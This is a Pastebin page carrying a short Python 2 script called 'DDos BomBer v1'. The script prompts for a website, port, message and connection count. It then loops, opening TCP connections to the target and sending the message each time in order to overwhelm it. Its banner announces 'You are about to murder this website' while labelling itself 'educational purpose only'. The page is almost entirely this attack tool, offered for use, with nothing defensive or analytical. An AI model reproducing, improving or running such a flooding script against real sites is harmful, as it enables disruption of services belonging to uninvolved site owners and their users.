Advertisement
TP2K1

DDos BomBer v1 [Python]

Jun 19th, 2015
886
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | None | 0 0
  1. import time, socket, os, sys, string ,httplib
  2.  
  3. print "\t################################################################"
  4. print "\t# DDOS BOMBER V.1 #"
  5. print "\t# #"
  6. print "\t# Written by TP2K1(DDos Wesbiste) #"
  7. print "\t# #"
  8. print "\t# #"
  9. print "\t################################################################"
  10.  
  11.  
  12. print "You are about to murder this website ".center(40)
  13. print "EDUCATIONAL PURPOSE ONLY "
  14.  
  15.  
  16.  
  17.  
  18.  
  19. host=raw_input( "Enter the website to DoS:" )
  20. try :
  21. print ("\tChecking host" + host.center(10) + "..." )
  22. conn = httplib.HTTPConnection(host)
  23. conn.connect()
  24. print "\t... Server is Online."
  25. except (httplib.HTTPResponse, socket.error) as Exit:
  26. raw_input("\t [!]... Server offline or invalid URL")
  27. exit()
  28.  
  29.  
  30.  
  31. print ("\t Done")
  32.  
  33. message=raw_input(str("Any message to send:" ))
  34. port=input("Port you want to attack:" )
  35. conn=input("How many connections you want to make:")
  36.  
  37.  
  38.  
  39.  
  40. ip = socket.gethostbyname( host )
  41.  
  42. def dos_bomber():
  43. dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  44. try:
  45. dos.connect((host, 80))
  46. dos.send(message )
  47. dos.sendto(message, (ip, port) )
  48. dos.send(message );
  49. except socket.error, msg:
  50. print "|[Failed]...[!error] ...|".center(40)
  51. print "[Attacking ]" + host.center(40)+ ip.center(40)
  52. dos.close()
  53.  
  54. for i in xrange(conn):
  55. dos_bomber()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement